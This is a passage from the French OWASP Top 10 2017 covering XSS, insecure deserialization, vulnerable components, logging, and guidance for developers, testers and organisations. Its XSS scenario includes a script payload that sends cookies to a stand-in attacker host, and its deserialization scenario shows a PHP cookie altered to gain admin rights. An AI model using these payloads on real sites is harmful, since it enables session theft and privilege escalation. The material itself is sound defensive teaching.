- Un processus de durcissement répétable qui permette de déployer rapidement et facilement un autre environnement correctement sécurisé avec une configuration verrouillée. Les environnements de développement, d'assurance qualité et de production doivent tous être configurés de manière identique, avec des droits différents pour chaque environnement. Ce processus devrait être automatisé afin de réduire au minimum les efforts requis pour mettre en place un nouvel environnement sécurisé.

- Une plate-forme minimale sans fonctionnalité, composant, documentation et échantillon inutile. Supprimer ou ne pas installer des fonctionnalités et frameworks inutilisés.

- Une tâche pour revoir et mettre à jour les configurations appropriées à tous les avis de sécurité, toutes les mises à jour et tous les correctifs dans le cadre du processus de gestion des correctifs (voir **A9:2017 Utilisation de Composants avec des Vulnérabilités Connues**). En particulier, examiner les permissions de stockage dans le Cloud (ex. les permissions des buckets AWS S3).

- Une architecture d'application segmentée qui fournit une séparation efficace et sécurisée entre les composants ou les environnement hébergés, avec de la segmentation, de la mise en conteneurs ou l'utilisation de groupes de sécurité dans le Cloud (ACL).

- L'envoi de directives de sécurité aux clients, par exemple [En-têtes de sécurité] (https://www.owasp.org/index.php/OWASP_Secure_Headers_Project).

- Un processus automatisé pour vérifier l'efficacité des configurations et des réglages dans tous les environnements.

Exemple de Scénario d'Attaque

Scénario #1 : Le serveur d'application est livré avec des applications classiques qui ne sont pas supprimées du serveur mis en production. Ces mêmes applications ont des failles de sécurité connues que les attaquants utilisent afin de compromettre le serveur. Si l'une de ces applications est la console d'administration, et que les comptes par défaut n'ont pas été modifiés, l'attaquant se connecte avec les mots de passe par défaut et prend la main sur la cible.

Scénario #2 : La fonctionnalité de listage des répertoires n'est pas désactivée sur le serveur. Un attaquant découvre qu'il peut simplement lister les répertoires. L'attaquant trouve et télécharge les classes Java compilées, qu'il décompose et fait de l'ingéniérie inversée pour visualiser le code. L'attaquant trouve alors un grave défaut dans le contrôle d'accès de l'application.

Scénario #3 : La configuration du serveur d'application permet de renvoyer aux utilisateurs des messages d'erreur détaillés, par exemple avec des traces des couches protocolaires applicatives. Cela peut ainsi exposer des informations sensibles ou des vulnérabilités sous-jacentes telles que les versions de composants dont on sait qu'elles sont vulnérables.

Scénario #4 : Un fournisseur de services Cloud (CSP) a positionné des droits de partage par défaut qui sont ouverts sur Internet par d'autres utilisateurs du CSP. Cela permet d'accéder à des données sensibles stockées dans le stockage Cloud.

Références

OWASP

- OWASP Testing Guide: Configuration Management
- OWASP Testing Guide: Testing for Error Codes
- OWASP Security Headers Project

Pour des exigences supplémentaires dans ce domaine, voir la Norme de vérification de la sécurité des applications : Application Security Verification Standard V19 Configuration.

Externes

- NIST Guide to General Server Hardening
- CWE-2: Environmental Security Flaws
- CWE-16: Configuration
- CWE-388: Error Handling
- CIS Security Configuration Guides/Benchmarks
- Amazon S3 Bucket Discovery and Enumeration

A7:2017 Cross-Site Scripting (XSS)

Facteurs de Menace/Vecteurs d'Attaque	Vulnérabilités	Impacts
Des outils automatisés permettent de détecter et d'exploiter les trois types de XSS et des frameworks d'exploitation gratuits sont disponibles.	XSS est le deuxième problème le plus fréquent de l'OWASP Top 10 et on le retrouve dans près de 2/3 des applications. Les outils automatisés peuvent trouver automatiquement quelques failles XSS, en particulier dans des technologies matures telles que PHP, JEE / JSP, et ASP.NET.	L'impact de XSS est modéré pour les "XSS basés sur DOM" et les "XSS Réfléchis", et grave pour les "XSS Stockés", avec des exécutions à distance dans le navigateur de la victime, comme du vol de comptes d'accès, de sessions, ou de la distribution de logiciel malveillant à la victime.

Suis-je Vulnérable ?

Il y a trois types de XSS, ciblant habituellement les navigateurs des victimes :

- **XSS Réfléchi** : L'application ou l'API copie les entrées utilisateurs, sans validation ni contrôle des caractères spéciaux, comme partie intégrante de la sortie HTML. Une attaque réussie permet à l'attaquant d'exécuter du HTML et/ou du JavaScript arbitraire dans le navigateur de la victime. Typiquement, l'utilisateur devra interagir avec un lien malicieux redirigeant vers une page contrôlée par l'attaquant, comme un site web malicieux de type "point d'eau", publicitaire, ou équivalent.
- **XSS Stocké** : L'application ou l'API stocke des entrées utilisateurs, ni contrôlées ni assainies, qui seront vues ultérieurement par un autre utilisateur ou un administrateur. Ces XSS stockés sont souvent considérés comme un risque élevé, voir critique.
- **XSS basé sur DOM** : Les environnements Javascript, les applications monopage, et les API qui intègrent dynamiquement à la page, des données contrôlables par l'attaquant, sont vulnérables au XSS basé sur DOM. En règle générale, l'application ne doit pas transmettre de données contrôlables par l'attaquant à des API Javascript non sûres.

Les attaques habituelles de type XSS sont le vol de session, la prise de contrôle de compte, le contournement MFA, le remplacement ou le défacement de noeud DOM (comme des fenêtres de connexion-cheval de troie), des attaques du navigateur de l'utilisateur tels que des téléchargements de maliciels, des enregistreurs de frappe et autres attaques du client.

Comment s'en Prémunir ?

Se protéger des attaques XSS nécessite la séparation des données non sûres du contenu actif du navigateur. Pour cela :

- Utiliser des frameworks avec des techniques automatiques d'échappements XSS par conception, comme les dernières versions de Ruby on Rails et React JS. Regarder les limitations de protection XSS de votre framework et prendre les mesures appropriées pour couvrir les cas non gérés.
- Appliquer des techniques d'échappement aux données des requêtes HTTP non sûres, selon le contexte des sorties HTML dans lequel elles seront insérées (body, attribute, Javascript, CSS, ou URL). Cela résoudra les vulnérabilités des XSS Réfléchis ou Stockés. L'Aide-mémoire de l'OWASP 'Prévention des XSS' donne des détails sur les techniques requises d'échappement des données.
- Appliquer un encodage adapté au contexte lors des modifications des documents du navigateur du client est une protection contre les XSS basés sur DOM. Quand cela ne peut pas être évité, des techniques d'échappement, adaptées au contexte, peuvent être appliquées aux API du navigateur comme indiqué dans l'Aide-mémoire de l'OWASP 'Prévention des XSS basés sur DOM'.
- Etablir une Politique de Sécurité du Contenu (CSP) comme mesure de défense en profondeur limitant les attaques XSS. Cela sera efficace, s'il n'y a pas d'autre vulnérabilité qui permettrait de déposer du code malicieux par insertion de fichier en local (ex : écrasement par attaque de type "traversée de répertoire" ou via des bibliothèques vulnérables des réseaux de diffusion de contenu (CDN) autorisés).

Exemple de Scénario d'Attaque

Scénario #1 : L'application utilise des données non sûres dans la construction du fragment de code HTML sans validation ni technique d'échappement :

```
(String) page += "<input name='creditcard' type='TEXT' value='" + request.getParameter("CC")
+ "'>";
```

L'attaquant remplace le paramètre 'CC' du navigateur par
: `'><script>document.location='http://www.attacker.com/cgi-bin/cookie.cgi?foo='+document.cookie</script>'`
Cette attaque envoie l'ID de session de la victime vers le site web de l'attaquant, lui permettant ainsi de détourner la session active de l'utilisateur.

Note : Les attaquants peuvent utiliser XSS pour invalider les défenses automatisées anti-falsification de requête intersite (CSRF) que l'application peut avoir mises en place.

Références

OWASP

- OWASP Contrôles Proactifs : Encoder les Données
- OWASP Contrôles Proactifs : Valider les Données
- OWASP Standard de Vérification de la Sécurité des Applications : V5
- OWASP Guide de Test : Test des XSS Réfléchis
- OWASP Guide de Test : Test des XSS Stockés

- OWASP Guide de Test : Test des XSS basés sur DOM
- OWASP Aide-Mémoire : Prévention du XSS
- OWASP Aide-Mémoire : Prévention du XSS basé sur DOM
- OWASP Aide-Mémoire : Contournements de Filtres XSS
- OWASP Projet Java Encodeur

Externes

- CWE-79 : Neutralisation incorrecte des entrées utilisateurs
- PortSwigger : Modèle d'injection côté Client

A8:2017 Désérialisation non sécurisée

Agents de menaces/Vecteurs d'attaques	Vulnérabilité	Impacts
Il arrive que l'exploitation d'une désérialisation soit difficile, car les codes d'exploitation génériques fonctionnent rarement sans une adaptation à l'application ciblée.	Cette vulnérabilité est incluse dans le Top 10 sur la base d'un questionnaire rempli par des professionnels de la sécurité et non sur des données quantifiables. Certains outils peuvent détecter des erreurs de désérialisation, mais une assistance humaine est souvent nécessaire pour valider le problème. Il faut s'attendre à une augmentation des défauts de désérialisation trouvés dans les applications à mesure que des outils sont développés pour aider à les identifier et à y remédier.	L'impact des erreurs de désérialisation ne doit pas être sous-estimé. Ces failles peuvent conduire à des attaques d'exécution de code à distance, l'une des attaques les plus graves qui soient. L'impact métier dépend des besoins de protection de l'application et des données.

Suis-je vulnérable aux défauts de désérialisation ?

Les applications et les API seront vulnérables si elles désérialisent des objets hostiles ou altérés fournis par un attaquant.

Cela peut entraîner deux principaux types d'attaques :

- Attaques liées aux objets et à la structure de données où l'attaquant modifie la logique de l'application ou exécute du code arbitraire. Pour cela, il doit exister des classes dans l'application qui peuvent modifier le comportement pendant ou après la désérialisation.
- Attaques par falsification de données lorsque des structures sérialisées sont utilisées pour du contrôle d'accès et que le contenu est modifié par l'attaquant.

La sérialisation peut être utilisée dans des applications pour :

- Communication distante et inter-processus (RPC/IPC)
- Protocoles connectés, Web-services, message brokers
- Mise en cache / Persistance
- Bases de données, serveurs de cache, systèmes de fichiers
- Cookies HTTP, paramètres de formulaire HTML, jetons d'authentification API

Comment l'empêcher

La seule architecture logicielle sûre est de ne pas accepter les objets sérialisés provenant de sources non fiables ou d'utiliser des supports de sérialisation qui autorisent uniquement les types de données primitifs.

Si ce n'est pas possible, envisagez l'une des solutions suivantes :

- Implémenter des contrôles d'intégrité tels que des signatures numériques sur tous les objets sérialisés pour empêcher la création d'objets dangereux ou la falsification de données.
- Appliquer des contraintes de typage fort lors de la désérialisation avant la création de l'objet car le code attend généralement un ensemble définissable de classes. Des contournements de cette technique ont été démontrés, il est donc déconseillé de se fier uniquement à elle.
- Isoler et exécuter le code qui désérialise dans des environnements à faible privilège lorsque cela est possible.
- Journaliser les exceptions et échecs de désérialisation, par exemple lorsque le type entrant n'est pas le type attendu, ou que la désérialisation génère des exceptions.
- Restreindre ou surveiller la connectivité réseau entrante et sortante des conteneurs ou des serveurs utilisés pour la désérialisation.
- Faire une surveillance des désérialisations, alerter si un utilisateur désérialise constamment.

Exemples de scénarios d'attaque

Scénario #1 : Une application React appelle un ensemble de microservices Spring Boot. Sensibles à la programmation fonctionnelle, les développeurs essaient de s'assurer que leur code est immutable. La solution qu'ils ont trouvée consiste à sérialiser l'état de l'utilisateur et à le transmettre à chaque requête. Un attaquant remarque la signature d'objet Java "R00" et utilise l'outil Java Serial Killer pour effectuer une exécution de code à distance sur le serveur d'applications.

Scénario #2 : Un forum utilise la sérialisation des objets PHP pour enregistrer un cookie, contenant l'ID utilisateur, le rôle, le condensat du mot de passe et les autres attributs de l'utilisateur.

```
a:4:{i:0;i:132;i:1;s:7:"Mallory";i:2;s:4:"user";i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";
}
```

Un attaquant modifie l'objet sérialisé pour se donner des privilèges d'administrateur :

```
a:4:{i:0;i:1;i:1;s:5:"Alice";i:2;s:5:"admin";i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}
```

Références

OWASP

- OWASP Cheat Sheet: Deserialization

- OWASP Proactive Controls: Validate All Inputs
- OWASP Application Security Verification Standard: TBA
- OWASP AppSecEU 2016: Surviving the Java Deserialization Apocalypse
- OWASP AppSecUSA 2017: Friday the 13th JSON Attacks

Externes

- CWE-502: Deserialization of Untrusted Data
- Java Unmarshaller Security
- OWASP AppSec Cali 2015: Marshalling Pickles

A9:2017 Utilisation de Composants avec des Vulnérabilités Connues

Facteurs de Menace/Vecteurs d'Attaque	Vulnérabilités	Impacts
Bien qu'il soit facile de trouver des exploits prêts à l'emploi pour de multiples vulnérabilités, d'autres vulnérabilités demandent un effort soutenu pour développer un exploit adapté.	La fréquence de ce problème est très élevée. Les modèles de développement à composants multiples peuvent conduire à ce que des équipes de développement ne sachent même pas quels composants ils utilisent dans leur application ou API, et soient donc encore moins susceptibles de les maintenir à jour. Des scanners comme retire.js aident à la détection, mais l'exploitation demande un effort supplémentaire.	Alors que quelques vulnérabilités connues ont seulement des impacts mineurs, certaines des violations les plus importantes jusqu'à aujourd'hui reposent sur l'exploitation de vulnérabilités connues dans des composants. Suivant les actifs que vous avez à protéger, ce risque pourra être l'un de vos risques majeurs.

Suis-je Vulnérable ?

Vous êtes probablement vulnérable :

- Si vous ne savez pas quels sont tous les composants que vous utilisez (à la fois côté client et côté serveur). Cela comprend les composants que vous utilisez directement ou par l'intermédiaire des dépendances imbriquées.
- Si le logiciel est vulnérable, sans support, ou obsolète. Cela concerne le système d'exploitation, le serveur web/application, le système de gestion de base de données (SGBD), les applications, API et autres composants, les environments d'exécution, et les bibliothèques.
- Si vous ne faites pas de recherche régulières de vulnérabilités et de souscription aux bulletins de sécurité des composants que vous utilisez.
- Si vous ne corrigez pas ni mettez à jour vos plateformes sous-jacentes, vos frameworks, et leurs dépendances sur la base d'une analyse de risque, dans un délai convenable. Cela apparaît fréquemment dans les environnements où les mises à jour sont faites sur une base mensuelle ou trimestrielle au rythme des évolutions logicielles, ce qui laisse les organisations exposées inutilement, des jours et des mois, à des failles avant de corriger les vulnérabilités.
- Si les développeurs de logiciels ne testent pas la compatibilité des évolutions, des mises à jour et des correctifs des bibliothèques.
- Si vous ne sécurisez pas les configurations des composants (voir **A6:2017-Mauvaise Configuration de Sécurité**).

Comment s'en Prémunir ?

Vous devez mettre en place une gestion des mises à jour pour :

- Supprimer les dépendances inutiles et les fonctionnalités, composants, fichiers et documentation non nécessaires.
- Faire un inventaire en continu des versions de composants à la fois client et serveur (ex : frameworks, bibliothèques) et de leurs dépendances avec des outils tels que versions, DependencyCheck, retire.js, etc.
- Surveiller en permanence les sources comme CVE et NVD pour suivre les vulnérabilités des composants. Utiliser des outils d'analyse de composants logiciels pour automatiser le processus. Souscrire aux alertes par courriel concernant les vulnérabilités sur les composants que vous utilisez.
- Ne récupérer des composants qu'auprès de sources officielles via des liens sécurisés. Préférer des paquets signés pour minimiser les risques d'insertion de composants modifiés malicieux.
- Surveiller les bibliothèques et les composants qui ne sont plus maintenus ou pour lesquels il n'y a plus de correctifs de sécurité. Si les mises à jour ne sont pas possibles, penser à déployer des mises à jour virtuelles pour surveiller, détecter et se protéger d'éventuelles découvertes de failles.

Chaque organisation doit s'assurer d'avoir un projet continu de surveillance, de tri, d'application des mises à jour et de modification de configuration pour la durée de vie d'une application ou de sa gamme.

Exemple de Scénario d'Attaque

Scénario #1 : Les composants s'exécutent généralement avec le même niveau de privilèges que l'application, et donc les failles d'un quelconque composant peuvent aboutir à un impact sévère. Les failles peuvent être accidentelles (ex : erreur de codage) ou intentionnelles (ex : porte dérobée dans un composant). Voici quelques exemples de découvertes de vulnérabilités exploitables de composants :

- CVE-2017-5638, une vulnérabilité d'exécution à distance de Struts 2, qui permet l'exécution de code arbitraire sur le serveur, a été responsable d'importantes violations.
- Bien que l'internet des objets (IoT) soit souvent difficile voire impossible à mettre à jour, l'importance de ces mises à jour peut être énorme (ex : objets biomédicaux).

Il existe des outils automatiques qui aident les attaquants à trouver des systèmes malconfigurés ou non mis à jour. Par exemple, le moteur de recherche IoT de Shodan peut vous aider à trouver des objets qui sont encore vulnérables à la faille Heartbleed corrigée en Avril 2014.

Références

OWASP

- OWASP Standard de Vérification de Sécurité Applicative: V1 Architecture, conception et modélisation des menaces
- OWASP Contrôle des Dépendences (pour les bibliothèques Java et .NET)
- OWASP Guide de Test - Map Application Architecture (OTG-INFO-010)
- OWASP Meilleures pratiques de Mises à Jour Virtuelles

Externes

- La regrettable réalité des bibliothèques non sécurisées
- L'organisation MITRE maintient le dictionnaire de recherche des Common Vulnerabilities and Exposures (CVE)
- Base de Données Nationale de Vulnérabilité (NVD)
- Retire.js pour la détection de vulnérabilités connues des bibliothèques JavaScript
- Bibliothèques des alertes de Sécurité Node.js
- Base de Données des alertes de Sécurité des bibliothèques Ruby et Outils

A10:2017 Supervision et Journalisation Insuffisantes

Facteurs de Menace/Vecteurs d'Attaque	Vulnérabilités	Impacts
L'exploitation des insuffisances de supervision et de journalisation sont à la base de presque tous les incidents majeurs. Les carences dans la supervision et la gestion de réactions, rapides et adéquates, permettent aux attaquants de réaliser leurs objectifs sans être détectés.	Ce problème a été intégré dans le Top 10 suite à l'enquête auprès d'un panel d'entreprises (voir enquête industrie). Une des méthodes pour s'assurer que vous avez une journalisation suffisante est de contrôler les journaux après un test d'intrusion. La journalisation des actions du testeur doit permettre de comprendre quels dommages ont été faits.	La plupart des attaques réussies commencent par des tests de vulnérabilités. Laisser faire de tels tests en continu conduira à une exploitation réussie avec une probabilité proche de 100%. En 2016, reconnaître une attaque prenait en moyenne 191 jours, ce qui laisse beaucoup de temps pour faire des dégâts.

Suis-je Vulnérable ?

L'insuffisance de journalisation, de détection, de supervision et de réaction aux incidents est avérée si :

- Les traces d'audit, telles que les accès réussis ou échoués et les transactions sensibles, ne sont pas enregistrées.
- Les alertes et les erreurs générées ne sont pas enregistrées, ou leur journalisation est inadéquate, ou imprécise.
- Les journaux des applications et des API ne sont pas contrôlés pour détecter les actions suspectes.
- Les journaux ne sont stockés que localement.
- Aucun processus de seuil d'alerte convenable ni de remontées d'information pour y répondre n'ont été définis, ou ils sont inadéquats, ou inefficaces.
- Les tests d'intrusion et de balayage avec des outils DAST (tels que OWASP ZAP) ne génèrent pas d'alertes.
- L'application est incapable de détecter, de générer des remontées d'information et des alertes en temps réel, ou assimilé, en cas d'attaque active.

Vous êtes vulnérable à une fuite d'information si les enregistrements de journalisation et d'alertes sont accessibles à vos utilisateurs ou attaquants (voir A3:2017-Exposition de Données Sensibles).

Comment s'en Prémunir ?

Conformément aux risques évalués sur les données stockées ou gérées par l'application :

- S'assurer que toutes les authentifications, les erreurs de contrôle d'accès et de contrôle des entrées côté serveur sont enregistrées, avec un contexte utilisateur suffisant pour identifier les comptes suspects ou malveillants, et conservées suffisamment longtemps pour permettre une analyse légale différée.
- S'assurer que les enregistrements des journaux sont dans un format standard pour permettre de les intégrer facilement à une solution de gestion de logs centralisée.
- S'assurer que les transactions à haute valeur ajoutée ont une piste d'audit, avec un contrôle d'intégrité, pour éviter la modification ou la suppression, comme des tables de bases de données en ajout seul ou équivalent.
- Mettre en place une supervision et une gestion d'alertes efficaces pour détecter et réagir aux actions suspectes en temps opportun.
- Définir ou adopter un plan de réaction et de reprise sur incident, comme celui du NIST 800-61 rev 2 ou ultérieur.

On trouve des logiciels, commerciaux ou open source, de protection d'applications tel que OWASP AppSensor, de pare-feux d'application web (WAF) tel que ModSecurity with the OWASP ModSecurity Core Rule Set et de logiciels de corrélation de journaux avec des tableaux de bord et d'alertes configurables.

Exemples de Scénarios d'Attaque

Scénario #1 : Un forum, pour un projet de développement open source d'une petite équipe, a été piraté à cause d'une faille logicielle. Les attaquants ont effacé le dépôt du code source de la future version et tout le contenu du forum. Bien que le code ait pu être récupéré, le manque de supervision, de journalisation et d'alertes ont conduit à une atteinte bien plus grave. Le résultat étant que le projet a été arrêté.

Scénario #2 : Un attaquant teste des accès utilisateurs avec un mot de passe commun. Il pourra accéder à tous les comptes ayant ce mot de passe. Pour tous les autres utilisateurs, ce test ne laisse qu'une trace de tentative d'accès échoué. Quelques jours après, ce test peut être réalisé avec un autre mot de passe.

Scénario #3 : Un grand distributeur américain a rapporté qu'une sandbox d'analyse de malware de fichiers attachés, aurait détecté un logiciel suspect, mais que personne n'a réagi à cette détection. Il y a eu plusieurs alertes avant que la brèche ne soit découverte par une banque externe à cause d'une transaction par carte frauduleuse.

Références

OWASP

- OWASP Proactive Controls: Implement Logging and Intrusion Detection
- OWASP Application Security Verification Standard: V8 Logging and Monitoring

- OWASP Testing Guide: Testing for Detailed Error Code
- OWASP Cheat Sheet: Logging

Externes

- CWE-223: Omission of Security-relevant Information
- CWE-778: Insufficient Logging

+D Pour les développeurs

Définissez des processus reproductibles et des contrôles de sécurité communs

Que vous soyez débutant dans le développement sécurisé d'applications web ou déjà familier avec les risques qui y sont associés, il est toujours difficile de créer une application web sécurisée ou de corriger une application existante. Lorsqu'en plus vous devez gérer de nombreuses applications, la tâche devient ardue.

Afin d'aider les organisations et les développeurs à réduire les risques au sein de leurs applications et API web à moindre coût, l'OWASP a créé de nombreuses ressources gratuites et ouvertes utilisables au sein de votre organisation. Les ressources ci-dessous sont un exemple de ce que l'OWASP a produit pour aider les organisations à développer des applications web sécurisées. D'autres ressources OWASP destinées à vous aider à contrôler la sécurité de vos applications et de vos API sont présentées page suivante.

Activité	Description
Exigences de sécurité de l'application	Afin de produire une application web sécurisée, vous devez d'abord définir ce que cela signifie pour cette application. Utilisez le standard OWASP de vérification de la sécurité d'une application (ASVS, *Application Security Verification Standard*) comme guide pour déterminer les exigences de sécurité de votre application. Si le développement de l'application est sous-traité, utilisez plutôt l'annexe contractuelle pour du logiciel sécurisé de l'OWASP (OWASP *Secure Software Contract Annex*). **Attention** : l'annexe s'applique à la loi américaine des contrats. Consultez un juriste qualifié avant de l'employer.
Architecture applicative sécurisée	Il est bien plus efficace d'intégrer la sécurité dans une application ou une API dès sa conception plutôt que d'identifier les failles et les corriger à posteriori. Les aide-mémoire de l'OWASP (OWASP *Prevention Cheat Sheets*) sont un excellent point de départ pour vous guider dans cette tâche.
Contrôles de sécurité communs	Il est particulièrement difficile de concevoir des contrôles de sécurité fiables et simples à utiliser. Un jeu de contrôles standard simplifie radicalement le développement d'applications et API sécurisées. Les aide-mémoire OWASP *Prevention Cheat Sheets* constitue un excellent point de départ pour les développeurs. De nombreux frameworks modernes disposent désormais de contrôles de sécurités standards efficaces pour l'identification, la validation, la prévention CSRF, etc.

Activité	Description
Cycle de développement sécurisé	Afin d'améliorer le processus que suit votre organisation pour le développement d'applications et d'API, l'OWASP recommande le modèle OWASP SAMM (*Software Assurance Maturity Model*). Ce modèle aide les organisations à formuler et mettre en oeuvre une stratégie adaptée aux risques spécifiques auxquels elles sont confrontées.
Formation à la sécurité applicative	Le projet éducation de l'OWASP met à disposition des ressources de formation afin d'aider à la sensibilisation des développeurs. Afin de vous confronter aux vulnérabilités les plus courantes, essayez l'OWASP WebGoat, WebGoat.NET, OWASP NodeJS Goat, OWASP Juice Shop Project ou l'OWASP Broken Web Applications Project. Et pour rester à jour, venez assister à une conférence AppSec OWASP, une session de formation ou une réunion du chapitre OWASP local.

De nombreuses autres ressources OWASP sont disponibles. Consultez la page des projets OWASP qui les recense, organisés selon leur niveau de maturité (Flagship, Labs et Incubator). La plupart des ressources OWASP sont disponibles sur notre wiki, et un grand nombre de documents OWASP peuvent être commandés au format papier ou électronique (eBook).

+T Pespectives pour les vérificateurs

Mise en place d'un test permanent de la sécurité applicative

Développer du code sécurisé est important, mais il est capital que la sécurité que vous voulez intégrer soit réellement présente, correctement mise en oeuvre et employée partout où elle devrait l'être. Le test de la sécurité applicative a pour but d'en apporter la preuve. C'est un travail complexe et difficile, tandis que les processus de développement modernes à grande vitesse comme Agile et DevOps font peser une énorme pression sur les outils et approches traditionnelles. De ce fait, nous vous encourageons à bien réfléchir sur la façon dont vous allez pouvoir vous concentrer sur ce qui est important pour la totalité de votre portefeuille applicatif et la façon de le faire au meilleur coût.

Les risques modernes évoluent rapidement : l'époque où un examen minutieux ou un test de pénétration annuel à la recherche de vulnérabilités suffisait est révolue depuis longtemps. Le développement de logiciels modernes impose des tests permanents de sécurité applicative au cours de toute la durée de vie de ce développement. Cherchez à améliorer les outils de développement existants à l'aide de sécurisations automatiques qui ne ralentissent pas le développement. Quelle que soit l'approche que vous retenez, déterminez le coût annuel de test, analyse, remédiation, nouveau test et redéploiement d'une application unique, puis multipliez-le par le nombre d'éléments de votre portefeuille applicatif.

Activité	Description
Comprendre le modèle de risques	Avant de débuter tout test, assurez-vous d'avoir compris ce à quoi vous devez consacrer du temps. Les priorités proviennent du modèle de risques : si vous en êtes dépourvu, vous devez en créer un avant de débuter les tests. Reportez vous au ASVS OWASP et au Guide de Test OWASP comme point de départ et ne vous fiez pas aux vendeurs d'outils pour décider de ce qui est important pour votre entreprise.
Comprendre votre SDLC	Votre approche du test de la sécurité applicative doit être hautement compatible avec le personnel, les processus et les outils impliqués dans le cycle de vie de développement logiciel ou SDLC (*Software Development LifeCycle*). Toute tentative d'introduction forcée d'étapes supplémentaires, de seuils et de contrôles risquent fort de provoquer des tensions, d'être court-circuitées et délicates à adapter. Rechercher des occasions naturelles pour rassembler des informations de sécurité et injectez-les dans votre processus.
Stratégies de test	Choisissez la technique la plus simple, la plus rapide et la plus pertinente pour répondre à chaque exigence. La Base de connaissances de sécurité OWASP et la norme de vérification de sécurité applicative OWASP peuvent être de précieuses sources d'informations sur les exigences sécuritaires

Activité	Description
	fonctionnelles et non fonctionnelles dans votre processus de tests unitaires et d'intégration. Veillez à prendre en compte les ressources humaines nécessaires pour gérer les faux positifs générés par les outils automatiques ainsi que du danger considérable des faux négatifs.
Obtenir précision et couverture	Il est inutile de tout tester à fond dès le début. Concentrez-vous sur ce qui est important et développez votre programme de vérification au fil du temps. Cela signifie augmenter l'ensemble des défenses sécuritaires et des risques qui sont automatiquement contrôlés ainsi que le nombre d'applications et d'API concernées. L'objectif est de parvenir à un stade où la sécurité primordiale de toutes vos applications et API est constamment vérifiée.
Communiquez clairement sur vos identifications	Peu importe votre efficacité en matière de test : elle n'a aucune importance si vous ne communiquez pas efficacement. Construisez la confiance en montrant que vous comprennez le foncitonnement de l'application. Décrivez clairement, sans employer de jargon, comment elle pourrait être détournée et illustrez par un scénario d'attaque pour concrétiser. Effectuez une estimation réaliste de la difficulté d'identification et d'exploitation de la faille et des conséquences possibles. Enfin, montrez les résultats dans les outils employés par l'équipe de développement, pas sous forme de fichiers PDF.

+O Que faire dans une entreprise ?

Lancez dès maintenant un programme de sécurisation des applications

La sécurité des applications n'est plus une option. Entre le nombre croissant des agressions et la pression des autorités de régulation, les entreprises du web doivent se donner les moyens de sécuriser leurs applications et API. Etant donné le nombre écrasant de lignes de code des applications et API existantes, constituant autant de risques de vulnérabilité, beaucoup d'entreprises luttent déjà pour en reprendre le contrôle.

L'OWASP leur recommande de mettre en place un plan global qui profite à l'ensemble de leurs services. Mais pour mener à bien cette sécurisation des applications, il faut une synergie de tous les composants de l'entreprise : la sécurité, la qualité, les développeurs, les commerciaux et la direction. La sécurité doit être mise en avant, de telle sorte que tous les acteurs puissent la retrouver dans leurs directives de travail et l'appliquer. Il faut aussi mettre l'accent sur les méthodes qui vont effectivement améliorer la sécurité en diminuant ou éliminant les risques. Les éléments clefs de la sécurisation des applications sont le projet OWASP SAMM et le guide OWASP Application Security Guide for CISOs

Pour commencer

- Documentez toutes les applications et les ressources de données associées. Une grande entreprise doit envisager de mettre en place à cet effet une base de données de gestion de configuration (CMDB, *Configuration Management Database*).
- Etablissez un programme de sécurisation des applications, et pilotez son adoption.
- Procédez à une analyse des lacunes des capacités comparant votre organisation à vos pairs pour définir les principaux axes d'amélioration et un plan d'exécution.
- Faites entériner ce programme par la Direction et lancez une campagne de sensibilisation à la sécurité des applications pour l'ensemble de l'organisation informatique.

Approche fondée sur le risque

- Identifiez les besoins de protection de votre portefeuille d'applications selon un point de vue métier. Vous devez raisonner en tenant compte tant de la législation sur la protection des données personnelles que des autres textes applicables aux données à protéger.
- Créez un modèle de profil de risque applicatif à partir d'un ensemble cohérent de facteurs d'impacts et de probabilités correspondant au degré de tolérance de l'entreprise en matière de risques.
- Mesurez et prioritisez toutes vos applications et API et ajoutez-les à votre CMDB.
- Établissez des directives d'assurance pour définir correctement la couverture et le niveau de rigueur requis.

Partez sur des bases solides

- Adoptez une liste précise de normes et stratégies définissant les règles de base de la sécurité des applications qui devront être adoptées par les équipes de développement.
- Définissez une liste commune de contrôles périodiques qui complètent ces stratégies et normes et qui fournisse les conseils de conception et de développement sur leur utilisation.
- Mettez en place un programme de formation spécifique à la sécurité des applications s'adressant aux différents métiers et sujets de développement.

Intégrez la sécurité dans les processus existants

- Définissez et intégrez les activités de mise en oeuvre et de vérification de la sécurité dans les processus de développement et opérationnels existants.
- Les activités comprennent modélisation des menaces, conception sécurisée & vérification de celle-ci, programmation sécurisée et vérification du code, tests de pénétration et remédiation.
- Fournissez des services de support et d'expertise à disposition des équipes de développement et de gestion de projet pour réussir.

Rendez vos indicateurs visibles

- Gérez avec des indicateurs. Pilotez les décisions de financement et d'amélioration en vous fondant sur les indicateurs et les données d'analyse recensés. Les indicateurs comprennent le respect des pratiques et activités de sécurité, les vulnérabilités introduites, les vulnérabilités atténuées, la couverture de l'application, la densité de défauts par type et par nombre d'instances, etc.
- Analysez les données des activités de mise en œuvre et de vérification pour rechercher la cause première et des modèles de vulnérabilité pour conduire des améliorations stratégiques et systémiques à travers l'entreprise. Tirez profit des erreurs et incitez positivement aux améliorations.